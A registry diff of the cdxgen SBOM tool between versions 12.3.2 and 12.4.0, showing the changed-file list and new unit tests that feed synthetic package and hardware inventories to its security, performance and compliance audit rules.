@cyclonedx/cdxgen 12.3.2 → 12.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +70 -22
- package/bin/audit.js +21 -7
- package/bin/cdxgen.js +238 -116
- package/bin/convert.js +28 -13
- package/bin/hbom.js +490 -0
- package/bin/repl.js +580 -29
- package/bin/validate.js +34 -4
- package/bin/verify.js +40 -5
- package/data/README.md +298 -25
- package/data/component-tags.json +6 -0
- package/data/crypto-oid.json +16 -0
- package/data/predictive-audit-allowlist.json +11 -0
- package/data/queries-darwin.json +12 -1
- package/data/queries-win.json +7 -1
- package/data/queries.json +39 -2
- package/data/rules/ai-agent-governance.yaml +16 -0
- package/data/rules/asar-archives.yaml +150 -0
- package/data/rules/chrome-extensions.yaml +8 -0
- package/data/rules/ci-permissions.yaml +171 -15
- package/data/rules/container-risk.yaml +14 -7
- package/data/rules/dependency-sources.yaml +76 -5
- package/data/rules/hbom-compliance.yaml +325 -0
- package/data/rules/hbom-performance.yaml +307 -0
- package/data/rules/hbom-security.yaml +248 -0
- package/data/rules/host-topology.yaml +165 -0
- package/data/rules/mcp-servers.yaml +18 -3
- package/data/rules/obom-runtime.yaml +907 -22
- package/data/rules/package-integrity.yaml +36 -0
- package/data/rules/rootfs-hardening.yaml +179 -0
- package/data/rules/vscode-extensions.yaml +9 -0
- package/lib/audit/index.js +209 -8
- package/lib/audit/index.poku.js +332 -0
- package/lib/audit/reporters.js +222 -0
- package/lib/audit/targets.js +146 -1
- package/lib/audit/targets.poku.js +186 -0
- package/lib/cli/asar.poku.js +328 -0
- package/lib/cli/index.js +647 -127
- package/lib/cli/index.poku.js +1905 -187
- package/lib/evinser/evinser.js +14 -9
- package/lib/helpers/agentFormulationParser.js +6 -2
- package/lib/helpers/agentFormulationParser.poku.js +42 -0
- package/lib/helpers/analyzer.js +1444 -38
- package/lib/helpers/analyzer.poku.js +409 -0
- package/lib/helpers/analyzerScope.js +712 -0
- package/lib/helpers/asarutils.js +1556 -0
- package/lib/helpers/asarutils.poku.js +443 -0
- package/lib/helpers/auditCategories.js +12 -0
- package/lib/helpers/auditCategories.poku.js +32 -0
- package/lib/helpers/cbomutils.js +271 -1
- package/lib/helpers/cbomutils.poku.js +248 -5
- package/lib/helpers/chromextutils.js +25 -3
- package/lib/helpers/chromextutils.poku.js +68 -0
- package/lib/helpers/ciParsers/githubActions.js +79 -0
- package/lib/helpers/ciParsers/githubActions.poku.js +103 -0
- package/lib/helpers/communityAiConfigParser.js +15 -5
- package/lib/helpers/communityAiConfigParser.poku.js +71 -0
- package/lib/helpers/depsUtils.js +5 -0
- package/lib/helpers/depsUtils.poku.js +55 -0
- package/lib/helpers/display.js +336 -23
- package/lib/helpers/display.poku.js +179 -43
- package/lib/helpers/evidenceUtils.js +58 -0
- package/lib/helpers/evidenceUtils.poku.js +54 -0
- package/lib/helpers/exportUtils.js +9 -0
- package/lib/helpers/gtfobins.js +142 -8
- package/lib/helpers/gtfobins.poku.js +24 -1
- package/lib/helpers/hbom.js +710 -0
- package/lib/helpers/hbom.poku.js +496 -0
- package/lib/helpers/hbomAnalysis.js +268 -0
- package/lib/helpers/hbomAnalysis.poku.js +249 -0
- package/lib/helpers/hbomLoader.js +35 -0
- package/lib/helpers/hostTopology.js +803 -0
- package/lib/helpers/hostTopology.poku.js +363 -0
- package/lib/helpers/inventoryStats.js +69 -0
- package/lib/helpers/inventoryStats.poku.js +86 -0
- package/lib/helpers/lolbas.js +19 -1
- package/lib/helpers/lolbas.poku.js +23 -0
- package/lib/helpers/mcpConfigParser.js +21 -5
- package/lib/helpers/mcpConfigParser.poku.js +39 -2
- package/lib/helpers/osqueryTransform.js +47 -0
- package/lib/helpers/osqueryTransform.poku.js +47 -0
- package/lib/helpers/plugins.js +349 -0
- package/lib/helpers/plugins.poku.js +57 -0
- package/lib/helpers/propertySanitizer.js +121 -0
- package/lib/helpers/protobom.js +156 -45
- package/lib/helpers/protobom.poku.js +140 -5
- package/lib/helpers/remote/dependency-track.js +36 -3
- package/lib/helpers/remote/dependency-track.poku.js +44 -0
- package/lib/helpers/source.js +24 -0
- package/lib/helpers/source.poku.js +32 -0
- package/lib/helpers/utils.js +2454 -198
- package/lib/helpers/utils.poku.js +1798 -74
- package/lib/managers/binary.e2e.poku.js +367 -0
- package/lib/managers/binary.js +2306 -350
- package/lib/managers/binary.poku.js +1700 -1
- package/lib/managers/docker.js +441 -95
- package/lib/managers/docker.poku.js +1479 -14
- package/lib/server/server.js +2 -24
- package/lib/server/server.poku.js +36 -1
- package/lib/stages/postgen/annotator.js +38 -0
- package/lib/stages/postgen/annotator.poku.js +107 -1
- package/lib/stages/postgen/auditBom.js +121 -18
- package/lib/stages/postgen/auditBom.poku.js +2967 -990
- package/lib/stages/postgen/hostTopologyAudit.poku.js +186 -0
- package/lib/stages/postgen/postgen.js +192 -1
- package/lib/stages/postgen/postgen.poku.js +321 -0
- package/lib/stages/postgen/ruleEngine.js +116 -0
- package/lib/stages/pregen/envAudit.js +14 -3
- package/package.json +24 -21
- package/types/bin/hbom.d.ts +3 -0
- package/types/bin/hbom.d.ts.map +1 -0
- package/types/bin/repl.d.ts.map +1 -1
- package/types/lib/audit/index.d.ts +44 -0
- package/types/lib/audit/index.d.ts.map +1 -1
- package/types/lib/audit/reporters.d.ts +16 -0
- package/types/lib/audit/reporters.d.ts.map +1 -1
- package/types/lib/audit/targets.d.ts.map +1 -1
- package/types/lib/cli/index.d.ts +16 -0
- package/types/lib/cli/index.d.ts.map +1 -1
- package/types/lib/evinser/evinser.d.ts +4 -0
- package/types/lib/evinser/evinser.d.ts.map +1 -1
- package/types/lib/helpers/agentFormulationParser.d.ts.map +1 -1
- package/types/lib/helpers/analyzer.d.ts +33 -0
- package/types/lib/helpers/analyzer.d.ts.map +1 -1
- package/types/lib/helpers/analyzerScope.d.ts +11 -0
- package/types/lib/helpers/analyzerScope.d.ts.map +1 -0
- package/types/lib/helpers/asarutils.d.ts +34 -0
- package/types/lib/helpers/asarutils.d.ts.map +1 -0
- package/types/lib/helpers/auditCategories.d.ts +5 -0
- package/types/lib/helpers/auditCategories.d.ts.map +1 -1
- package/types/lib/helpers/cbomutils.d.ts +3 -2
- package/types/lib/helpers/cbomutils.d.ts.map +1 -1
- package/types/lib/helpers/chromextutils.d.ts.map +1 -1
- package/types/lib/helpers/ciParsers/githubActions.d.ts.map +1 -1
- package/types/lib/helpers/communityAiConfigParser.d.ts.map +1 -1
- package/types/lib/helpers/depsUtils.d.ts.map +1 -1
- package/types/lib/helpers/display.d.ts +1 -0
- package/types/lib/helpers/display.d.ts.map +1 -1
- package/types/lib/helpers/evidenceUtils.d.ts +8 -0
- package/types/lib/helpers/evidenceUtils.d.ts.map +1 -0
- package/types/lib/helpers/exportUtils.d.ts.map +1 -1
- package/types/lib/helpers/gtfobins.d.ts +8 -0
- package/types/lib/helpers/gtfobins.d.ts.map +1 -1
- package/types/lib/helpers/hbom.d.ts +49 -0
- package/types/lib/helpers/hbom.d.ts.map +1 -0
- package/types/lib/helpers/hbomAnalysis.d.ts +62 -0
- package/types/lib/helpers/hbomAnalysis.d.ts.map +1 -0
- package/types/lib/helpers/hbomLoader.d.ts +7 -0
- package/types/lib/helpers/hbomLoader.d.ts.map +1 -0
- package/types/lib/helpers/hostTopology.d.ts +12 -0
- package/types/lib/helpers/hostTopology.d.ts.map +1 -0
- package/types/lib/helpers/inventoryStats.d.ts +11 -0
- package/types/lib/helpers/inventoryStats.d.ts.map +1 -0
- package/types/lib/helpers/lolbas.d.ts.map +1 -1
- package/types/lib/helpers/mcpConfigParser.d.ts +1 -1
- package/types/lib/helpers/mcpConfigParser.d.ts.map +1 -1
- package/types/lib/helpers/osqueryTransform.d.ts +3 -0
- package/types/lib/helpers/osqueryTransform.d.ts.map +1 -1
- package/types/lib/helpers/plugins.d.ts +58 -0
- package/types/lib/helpers/plugins.d.ts.map +1 -0
- package/types/lib/helpers/propertySanitizer.d.ts +3 -0
- package/types/lib/helpers/propertySanitizer.d.ts.map +1 -0
- package/types/lib/helpers/protobom.d.ts +3 -4
- package/types/lib/helpers/protobom.d.ts.map +1 -1
- package/types/lib/helpers/remote/dependency-track.d.ts +10 -3
- package/types/lib/helpers/remote/dependency-track.d.ts.map +1 -1
- package/types/lib/helpers/source.d.ts.map +1 -1
- package/types/lib/helpers/utils.d.ts +74 -8
- package/types/lib/helpers/utils.d.ts.map +1 -1
- package/types/lib/managers/binary.d.ts +5 -0
- package/types/lib/managers/binary.d.ts.map +1 -1
- package/types/lib/managers/docker.d.ts +3 -0
- package/types/lib/managers/docker.d.ts.map +1 -1
- package/types/lib/server/server.d.ts +2 -0
- package/types/lib/server/server.d.ts.map +1 -1
- package/types/lib/stages/postgen/annotator.d.ts.map +1 -1
- package/types/lib/stages/postgen/auditBom.d.ts +26 -1
- package/types/lib/stages/postgen/auditBom.d.ts.map +1 -1
- package/types/lib/stages/postgen/postgen.d.ts +2 -1
- package/types/lib/stages/postgen/postgen.d.ts.map +1 -1
- package/types/lib/stages/postgen/ruleEngine.d.ts.map +1 -1
- package/types/lib/stages/pregen/envAudit.d.ts.map +1 -1
- package/data/spdx-model-v3.0.1.jsonld +0 -15999
|
@@ -5,9 +5,12 @@ import { PackageURL } from "packageurl-js";
|
|
|
5
5
|
import { assert, describe, it } from "poku";
|
|
6
6
|
|
|
7
7
|
import { githubActionsParser } from "../../helpers/ciParsers/githubActions.js";
|
|
8
|
+
import { createLolbasProperties } from "../../helpers/lolbas.js";
|
|
8
9
|
import {
|
|
9
10
|
auditBom,
|
|
10
11
|
formatAnnotations,
|
|
12
|
+
formatDryRunSupportSummary,
|
|
13
|
+
getBomAuditDryRunSupportSummary,
|
|
11
14
|
hasCriticalFindings,
|
|
12
15
|
} from "./auditBom.js";
|
|
13
16
|
import { evaluateRule, evaluateRules, loadRules } from "./ruleEngine.js";
|
|
@@ -95,6 +98,51 @@ function makeChromeExtensionComponent(name, version, properties) {
|
|
|
95
98
|
};
|
|
96
99
|
}
|
|
97
100
|
|
|
101
|
+
function makeHbomComponent(name, hardwareClass, properties = [], extra = {}) {
|
|
102
|
+
return {
|
|
103
|
+
type: "device",
|
|
104
|
+
name,
|
|
105
|
+
version: extra.version,
|
|
106
|
+
"bom-ref": extra.bomRef || `urn:uuid:${hardwareClass}:${name}`,
|
|
107
|
+
properties: [["cdx:hbom:hardwareClass", hardwareClass], ...properties].map(
|
|
108
|
+
([k, v]) => ({ name: k, value: v }),
|
|
109
|
+
),
|
|
110
|
+
...extra,
|
|
111
|
+
};
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
function makeHbomBom(
|
|
115
|
+
components = [],
|
|
116
|
+
metadataProperties = [],
|
|
117
|
+
bomProperties = [],
|
|
118
|
+
) {
|
|
119
|
+
return {
|
|
120
|
+
bomFormat: "CycloneDX",
|
|
121
|
+
specVersion: "1.7",
|
|
122
|
+
serialNumber: "urn:uuid:test-hbom",
|
|
123
|
+
metadata: {
|
|
124
|
+
tools: {
|
|
125
|
+
components: [
|
|
126
|
+
{
|
|
127
|
+
type: "application",
|
|
128
|
+
name: "cdxgen",
|
|
129
|
+
version: "12.4.0",
|
|
130
|
+
"bom-ref": "pkg:npm/%40cyclonedx/cdxgen@12.4.0",
|
|
131
|
+
},
|
|
132
|
+
],
|
|
133
|
+
},
|
|
134
|
+
component: {
|
|
135
|
+
name: "test-host",
|
|
136
|
+
type: "device",
|
|
137
|
+
"bom-ref": "urn:uuid:test-host",
|
|
138
|
+
properties: metadataProperties.map(([k, v]) => ({ name: k, value: v })),
|
|
139
|
+
},
|
|
140
|
+
},
|
|
141
|
+
components,
|
|
142
|
+
properties: bomProperties.map(([k, v]) => ({ name: k, value: v })),
|
|
143
|
+
};
|
|
144
|
+
}
|
|
145
|
+
|
|
98
146
|
function makeBomFromWorkflowFixture(filename) {
|
|
99
147
|
const workflowFile = join(WORKFLOWS_DIR, filename);
|
|
100
148
|
const result = githubActionsParser.parse([workflowFile], {
|
|
@@ -115,6 +163,10 @@ describe("loadRules", () => {
|
|
|
115
163
|
["critical", "high", "medium", "low"].includes(rule.severity),
|
|
116
164
|
`Rule ${rule.id} severity must be valid`,
|
|
117
165
|
);
|
|
166
|
+
assert.ok(
|
|
167
|
+
["no", "partial", "full"].includes(rule.dryRunSupport),
|
|
168
|
+
`Rule ${rule.id} dry-run support must be valid`,
|
|
169
|
+
);
|
|
118
170
|
}
|
|
119
171
|
});
|
|
120
172
|
|
|
@@ -146,6 +198,50 @@ describe("loadRules", () => {
|
|
|
146
198
|
assert.ok(mcpRules.length > 0, "Should have MCP server rules");
|
|
147
199
|
const agentRules = rules.filter((r) => r.category === "ai-agent");
|
|
148
200
|
assert.ok(agentRules.length > 0, "Should have AI agent rules");
|
|
201
|
+
const asarRules = rules.filter((r) => r.category === "asar-archive");
|
|
202
|
+
assert.ok(asarRules.length > 0, "Should have ASAR archive rules");
|
|
203
|
+
const hbomSecurityRules = rules.filter(
|
|
204
|
+
(r) => r.category === "hbom-security",
|
|
205
|
+
);
|
|
206
|
+
assert.ok(hbomSecurityRules.length > 0, "Should have HBOM security rules");
|
|
207
|
+
const hbomPerformanceRules = rules.filter(
|
|
208
|
+
(r) => r.category === "hbom-performance",
|
|
209
|
+
);
|
|
210
|
+
assert.ok(
|
|
211
|
+
hbomPerformanceRules.length > 0,
|
|
212
|
+
"Should have HBOM performance rules",
|
|
213
|
+
);
|
|
214
|
+
const hbomComplianceRules = rules.filter(
|
|
215
|
+
(r) => r.category === "hbom-compliance",
|
|
216
|
+
);
|
|
217
|
+
assert.ok(
|
|
218
|
+
hbomComplianceRules.length > 0,
|
|
219
|
+
"Should have HBOM compliance rules",
|
|
220
|
+
);
|
|
221
|
+
const hostTopologyRules = rules.filter(
|
|
222
|
+
(r) => r.category === "host-topology",
|
|
223
|
+
);
|
|
224
|
+
assert.ok(hostTopologyRules.length > 0, "Should have host-topology rules");
|
|
225
|
+
});
|
|
226
|
+
|
|
227
|
+
it("should assign explicit dry-run support metadata to built-in rules", async () => {
|
|
228
|
+
const rules = await loadRules(RULES_DIR);
|
|
229
|
+
assert.strictEqual(
|
|
230
|
+
rules.find((rule) => rule.id === "CI-001")?.dryRunSupport,
|
|
231
|
+
"full",
|
|
232
|
+
);
|
|
233
|
+
assert.strictEqual(
|
|
234
|
+
rules.find((rule) => rule.id === "INT-003")?.dryRunSupport,
|
|
235
|
+
"no",
|
|
236
|
+
);
|
|
237
|
+
assert.strictEqual(
|
|
238
|
+
rules.find((rule) => rule.id === "INT-005")?.dryRunSupport,
|
|
239
|
+
"partial",
|
|
240
|
+
);
|
|
241
|
+
assert.strictEqual(
|
|
242
|
+
rules.find((rule) => rule.id === "HBS-001")?.dryRunSupport,
|
|
243
|
+
"full",
|
|
244
|
+
);
|
|
149
245
|
});
|
|
150
246
|
});
|
|
151
247
|
|
|
@@ -190,7 +286,7 @@ describe("evaluateRule", () => {
|
|
|
190
286
|
);
|
|
191
287
|
});
|
|
192
288
|
|
|
193
|
-
it("should detect npm install script from
|
|
289
|
+
it("should detect npm install script from direct manifest source (PKG-001)", async () => {
|
|
194
290
|
const rules = await loadRules(RULES_DIR);
|
|
195
291
|
const rule = rules.find((r) => r.id === "PKG-001");
|
|
196
292
|
assert.ok(rule, "PKG-001 rule should exist");
|
|
@@ -198,7 +294,11 @@ describe("evaluateRule", () => {
|
|
|
198
294
|
const bom = makeBom([
|
|
199
295
|
makeComponent("sketchy-pkg", "1.0.0", [
|
|
200
296
|
["cdx:npm:hasInstallScript", "true"],
|
|
201
|
-
["cdx:npm:
|
|
297
|
+
["cdx:npm:manifestSourceType", "git"],
|
|
298
|
+
[
|
|
299
|
+
"cdx:npm:manifestSource",
|
|
300
|
+
"git+https://github.com/acme/sketchy-pkg.git",
|
|
301
|
+
],
|
|
202
302
|
]),
|
|
203
303
|
]);
|
|
204
304
|
|
|
@@ -207,6 +307,485 @@ describe("evaluateRule", () => {
|
|
|
207
307
|
assert.strictEqual(findings[0].severity, "high");
|
|
208
308
|
});
|
|
209
309
|
|
|
310
|
+
it("should detect npm install scripts from url and path manifest sources for PKG-001", async () => {
|
|
311
|
+
const rules = await loadRules(RULES_DIR);
|
|
312
|
+
const rule = rules.find((r) => r.id === "PKG-001");
|
|
313
|
+
assert.ok(rule, "PKG-001 rule should exist");
|
|
314
|
+
|
|
315
|
+
for (const manifestSourceType of ["url", "path"]) {
|
|
316
|
+
const bom = makeBom([
|
|
317
|
+
makeComponent(`sketchy-${manifestSourceType}`, "1.0.0", [
|
|
318
|
+
["cdx:npm:hasInstallScript", "true"],
|
|
319
|
+
["cdx:npm:manifestSourceType", manifestSourceType],
|
|
320
|
+
["cdx:npm:manifestSource", `${manifestSourceType}:example`],
|
|
321
|
+
]),
|
|
322
|
+
]);
|
|
323
|
+
|
|
324
|
+
const findings = await evaluateRule(rule, bom);
|
|
325
|
+
assert.ok(findings.length > 0);
|
|
326
|
+
}
|
|
327
|
+
});
|
|
328
|
+
|
|
329
|
+
it("should not detect npm install script without manifest source evidence for PKG-001", async () => {
|
|
330
|
+
const rules = await loadRules(RULES_DIR);
|
|
331
|
+
const rule = rules.find((r) => r.id === "PKG-001");
|
|
332
|
+
assert.ok(rule, "PKG-001 rule should exist");
|
|
333
|
+
|
|
334
|
+
const bom = makeBom([
|
|
335
|
+
makeComponent("registry-pkg", "1.0.0", [
|
|
336
|
+
["cdx:npm:hasInstallScript", "true"],
|
|
337
|
+
["cdx:npm:isRegistryDependency", "false"],
|
|
338
|
+
]),
|
|
339
|
+
]);
|
|
340
|
+
|
|
341
|
+
const findings = await evaluateRule(rule, bom);
|
|
342
|
+
assert.strictEqual(findings.length, 0);
|
|
343
|
+
});
|
|
344
|
+
|
|
345
|
+
it("should detect Collider packages from insecure HTTP origins (PKG-009)", async () => {
|
|
346
|
+
const rules = await loadRules(RULES_DIR);
|
|
347
|
+
const rule = rules.find((r) => r.id === "PKG-009");
|
|
348
|
+
assert.ok(rule, "PKG-009 rule should exist");
|
|
349
|
+
|
|
350
|
+
const bom = makeBom([
|
|
351
|
+
makeComponent("fmt", "11.0.2", [
|
|
352
|
+
["cdx:collider:dependencyKind", "direct"],
|
|
353
|
+
["cdx:collider:origin", "http://mirror.example.com/collider/v2/"],
|
|
354
|
+
["cdx:collider:originScheme", "http"],
|
|
355
|
+
["cdx:collider:originHost", "mirror.example.com"],
|
|
356
|
+
]),
|
|
357
|
+
]);
|
|
358
|
+
|
|
359
|
+
const findings = await evaluateRule(rule, bom);
|
|
360
|
+
assert.ok(findings.length > 0, "Should detect insecure Collider origin");
|
|
361
|
+
assert.strictEqual(findings[0].ruleId, "PKG-009");
|
|
362
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
363
|
+
});
|
|
364
|
+
|
|
365
|
+
it("should detect Collider origins that required sanitization (PKG-010)", async () => {
|
|
366
|
+
const rules = await loadRules(RULES_DIR);
|
|
367
|
+
const rule = rules.find((r) => r.id === "PKG-010");
|
|
368
|
+
assert.ok(rule, "PKG-010 rule should exist");
|
|
369
|
+
|
|
370
|
+
const bom = makeBom([
|
|
371
|
+
makeComponent("spdlog", "1.15.0", [
|
|
372
|
+
["cdx:collider:dependencyKind", "direct"],
|
|
373
|
+
["cdx:collider:origin", "https://example.com/collider/v2/"],
|
|
374
|
+
["cdx:collider:originScheme", "https"],
|
|
375
|
+
["cdx:collider:originSanitized", "true"],
|
|
376
|
+
]),
|
|
377
|
+
]);
|
|
378
|
+
|
|
379
|
+
const findings = await evaluateRule(rule, bom);
|
|
380
|
+
assert.ok(findings.length > 0, "Should detect sanitized Collider origin");
|
|
381
|
+
assert.strictEqual(findings[0].ruleId, "PKG-010");
|
|
382
|
+
assert.strictEqual(findings[0].severity, "low");
|
|
383
|
+
});
|
|
384
|
+
|
|
385
|
+
it("should detect python dependency from direct manifest source (PKG-011)", async () => {
|
|
386
|
+
const rules = await loadRules(RULES_DIR);
|
|
387
|
+
const rule = rules.find((r) => r.id === "PKG-011");
|
|
388
|
+
assert.ok(rule, "PKG-011 rule should exist");
|
|
389
|
+
|
|
390
|
+
const bom = makeBom([
|
|
391
|
+
makeComponent("suspicious-python-pkg", "1.0.0", [
|
|
392
|
+
["cdx:pypi:manifestSourceType", "url"],
|
|
393
|
+
[
|
|
394
|
+
"cdx:pypi:manifestSource",
|
|
395
|
+
"https://example.com/suspicious-python-pkg.whl",
|
|
396
|
+
],
|
|
397
|
+
]),
|
|
398
|
+
]);
|
|
399
|
+
|
|
400
|
+
const findings = await evaluateRule(rule, bom);
|
|
401
|
+
assert.ok(findings.length > 0, "Should detect python direct source risk");
|
|
402
|
+
assert.strictEqual(findings[0].ruleId, "PKG-011");
|
|
403
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
404
|
+
});
|
|
405
|
+
|
|
406
|
+
it("should detect HBOM security findings from synthetic device inventory", async () => {
|
|
407
|
+
const bom = makeHbomBom(
|
|
408
|
+
[
|
|
409
|
+
makeHbomComponent("Main SSD", "storage", [
|
|
410
|
+
["cdx:hbom:isEncrypted", "false"],
|
|
411
|
+
["cdx:hbom:deviceSerial", "ABC123456789"],
|
|
412
|
+
]),
|
|
413
|
+
makeHbomComponent("wifi0", "wireless-adapter", [
|
|
414
|
+
["cdx:hbom:connected", "true"],
|
|
415
|
+
["cdx:hbom:securityMode", "open"],
|
|
416
|
+
]),
|
|
417
|
+
makeHbomComponent("USB Stick", "storage-volume", [
|
|
418
|
+
["cdx:hbom:isRemovable", "true"],
|
|
419
|
+
["cdx:hbom:isLocked", "false"],
|
|
420
|
+
]),
|
|
421
|
+
makeHbomComponent("USB4 Dock", "bus", [
|
|
422
|
+
["cdx:hbom:securityLevel", "none"],
|
|
423
|
+
["cdx:hbom:iommuProtection", "false"],
|
|
424
|
+
["cdx:hbom:policy", "auto"],
|
|
425
|
+
]),
|
|
426
|
+
makeHbomComponent("LTE Modem", "modem", [
|
|
427
|
+
["cdx:hbom:imei", "490154203237518"],
|
|
428
|
+
["cdx:hbom:ownNumbers", "+15551234567"],
|
|
429
|
+
]),
|
|
430
|
+
],
|
|
431
|
+
[
|
|
432
|
+
["cdx:hbom:platform", "linux"],
|
|
433
|
+
["cdx:hbom:architecture", "amd64"],
|
|
434
|
+
["cdx:hbom:identifierPolicy", "full"],
|
|
435
|
+
["cdx:hbom:serialNumber", "HOST-SERIAL-001"],
|
|
436
|
+
],
|
|
437
|
+
[["cdx:hbom:collectorProfile", "linux-amd64"]],
|
|
438
|
+
);
|
|
439
|
+
|
|
440
|
+
const findings = await auditBom(bom, {
|
|
441
|
+
bomAuditCategories: "hbom-security",
|
|
442
|
+
});
|
|
443
|
+
const ruleIds = new Set(findings.map((finding) => finding.ruleId));
|
|
444
|
+
|
|
445
|
+
assert.ok(ruleIds.has("HBS-001"));
|
|
446
|
+
assert.ok(ruleIds.has("HBS-002"));
|
|
447
|
+
assert.ok(ruleIds.has("HBS-003"));
|
|
448
|
+
assert.ok(ruleIds.has("HBS-004"));
|
|
449
|
+
assert.ok(ruleIds.has("HBS-005"));
|
|
450
|
+
assert.ok(ruleIds.has("HBS-006"));
|
|
451
|
+
});
|
|
452
|
+
|
|
453
|
+
it("should detect HBOM performance findings from synthetic device inventory", async () => {
|
|
454
|
+
const bom = makeHbomBom([
|
|
455
|
+
makeHbomComponent("rootfs", "storage-volume", [
|
|
456
|
+
["cdx:hbom:capacityBytes", "1000"],
|
|
457
|
+
["cdx:hbom:freeBytes", "100"],
|
|
458
|
+
]),
|
|
459
|
+
makeHbomComponent("nvme0", "storage", [
|
|
460
|
+
["cdx:hbom:wearPercentageUsed", "91"],
|
|
461
|
+
["cdx:hbom:smartStatus", "Failing"],
|
|
462
|
+
]),
|
|
463
|
+
makeHbomComponent("CPU Thermal Zone", "thermal-zone", [
|
|
464
|
+
["cdx:hbom:temperatureCelsius", "92"],
|
|
465
|
+
]),
|
|
466
|
+
makeHbomComponent("Battery", "power", [
|
|
467
|
+
["cdx:hbom:maximumCapacity", "71%"],
|
|
468
|
+
["cdx:hbom:cycleCount", "1204"],
|
|
469
|
+
["cdx:hbom:designCapacityPercent", "62"],
|
|
470
|
+
]),
|
|
471
|
+
makeHbomComponent("eth0", "network-interface", [
|
|
472
|
+
["cdx:hbom:operState", "up"],
|
|
473
|
+
["cdx:hbom:duplex", "half"],
|
|
474
|
+
["cdx:hbom:speedMbps", "100"],
|
|
475
|
+
]),
|
|
476
|
+
makeHbomComponent("DIMM Bank", "memory", [
|
|
477
|
+
["cdx:hbom:sizeBytes", "1000"],
|
|
478
|
+
["cdx:hbom:memoryOnlineSize", "800"],
|
|
479
|
+
]),
|
|
480
|
+
makeHbomComponent("USB Camera", "usb-device", [
|
|
481
|
+
["cdx:hbom:currentRequired", "900"],
|
|
482
|
+
["cdx:hbom:currentAvailable", "500"],
|
|
483
|
+
]),
|
|
484
|
+
makeHbomComponent("LTE Modem", "modem", [
|
|
485
|
+
["cdx:hbom:signalQuality", "18"],
|
|
486
|
+
["cdx:hbom:operatorName", "ExampleTel"],
|
|
487
|
+
]),
|
|
488
|
+
]);
|
|
489
|
+
|
|
490
|
+
const findings = await auditBom(bom, {
|
|
491
|
+
bomAuditCategories: "hbom-performance",
|
|
492
|
+
});
|
|
493
|
+
const ruleIds = new Set(findings.map((finding) => finding.ruleId));
|
|
494
|
+
|
|
495
|
+
assert.ok(ruleIds.has("HBP-001"));
|
|
496
|
+
assert.ok(ruleIds.has("HBP-002"));
|
|
497
|
+
assert.ok(ruleIds.has("HBP-003"));
|
|
498
|
+
assert.ok(ruleIds.has("HBP-004"));
|
|
499
|
+
assert.ok(ruleIds.has("HBP-005"));
|
|
500
|
+
assert.ok(ruleIds.has("HBP-006"));
|
|
501
|
+
assert.ok(ruleIds.has("HBP-007"));
|
|
502
|
+
assert.ok(ruleIds.has("HBP-008"));
|
|
503
|
+
assert.ok(ruleIds.has("HBP-009"));
|
|
504
|
+
});
|
|
505
|
+
|
|
506
|
+
it("should detect HBOM compliance findings from synthetic device inventory", async () => {
|
|
507
|
+
const bom = makeHbomBom(
|
|
508
|
+
[
|
|
509
|
+
makeHbomComponent("rootfs", "storage-volume", [
|
|
510
|
+
["cdx:hbom:capacityBytes", "1000"],
|
|
511
|
+
]),
|
|
512
|
+
makeHbomComponent("HDMI-A-1", "display-connector", [
|
|
513
|
+
["cdx:hbom:displayConnectorType", "HDMI-A"],
|
|
514
|
+
]),
|
|
515
|
+
],
|
|
516
|
+
[
|
|
517
|
+
["cdx:hbom:platform", "linux"],
|
|
518
|
+
["cdx:hbom:identifierPolicy", "full"],
|
|
519
|
+
],
|
|
520
|
+
[
|
|
521
|
+
["cdx:hbom:collectorProfile", "linux-amd64"],
|
|
522
|
+
["cdx:hbom:analysis:missingCommandCount", "2"],
|
|
523
|
+
["cdx:hbom:analysis:missingCommands", "lspci,lsusb"],
|
|
524
|
+
[
|
|
525
|
+
"cdx:hbom:analysis:missingCommandIds",
|
|
526
|
+
"fwupdmgr-devices-json,edid-decode",
|
|
527
|
+
],
|
|
528
|
+
["cdx:hbom:analysis:installHintCount", "2"],
|
|
529
|
+
["cdx:hbom:analysis:permissionDeniedCount", "1"],
|
|
530
|
+
["cdx:hbom:analysis:permissionDeniedCommands", "drm_info"],
|
|
531
|
+
[
|
|
532
|
+
"cdx:hbom:analysis:permissionDeniedIds",
|
|
533
|
+
"dmidecode-firmware-board,drm-info-json",
|
|
534
|
+
],
|
|
535
|
+
["cdx:hbom:analysis:privilegeHintCount", "1"],
|
|
536
|
+
["cdx:hbom:analysis:requiresPrivileged", "true"],
|
|
537
|
+
],
|
|
538
|
+
);
|
|
539
|
+
|
|
540
|
+
const findings = await auditBom(bom, {
|
|
541
|
+
bomAuditCategories: "hbom-compliance",
|
|
542
|
+
});
|
|
543
|
+
const ruleIds = new Set(findings.map((finding) => finding.ruleId));
|
|
544
|
+
|
|
545
|
+
assert.ok(ruleIds.has("HBC-001"));
|
|
546
|
+
assert.ok(ruleIds.has("HBC-002"));
|
|
547
|
+
assert.ok(ruleIds.has("HBC-003"));
|
|
548
|
+
assert.ok(ruleIds.has("HBC-004"));
|
|
549
|
+
assert.ok(ruleIds.has("HBC-005"));
|
|
550
|
+
assert.ok(ruleIds.has("HBC-006"));
|
|
551
|
+
assert.ok(ruleIds.has("HBC-007"));
|
|
552
|
+
assert.ok(ruleIds.has("HBC-008"));
|
|
553
|
+
assert.ok(ruleIds.has("HBC-009"));
|
|
554
|
+
assert.ok(ruleIds.has("HBC-010"));
|
|
555
|
+
});
|
|
556
|
+
|
|
557
|
+
it("should not flag redacted-by-default HBOM identifier policy as a compliance finding", async () => {
|
|
558
|
+
const bom = makeHbomBom(
|
|
559
|
+
[],
|
|
560
|
+
[
|
|
561
|
+
["cdx:hbom:platform", "darwin"],
|
|
562
|
+
["cdx:hbom:architecture", "arm64"],
|
|
563
|
+
["cdx:hbom:identifierPolicy", "redacted-by-default"],
|
|
564
|
+
["cdx:hbom:serialNumber", "redacted:serialNumber"],
|
|
565
|
+
],
|
|
566
|
+
[
|
|
567
|
+
["cdx:hbom:collectorProfile", "darwin-arm64"],
|
|
568
|
+
["cdx:hbom:evidence:commandCount", "1"],
|
|
569
|
+
["cdx:hbom:evidence:command", "system_profiler"],
|
|
570
|
+
],
|
|
571
|
+
);
|
|
572
|
+
|
|
573
|
+
const findings = await auditBom(bom, {
|
|
574
|
+
bomAuditCategories: "hbom-compliance",
|
|
575
|
+
});
|
|
576
|
+
|
|
577
|
+
assert.ok(
|
|
578
|
+
!findings.some((finding) => finding.ruleId === "HBC-005"),
|
|
579
|
+
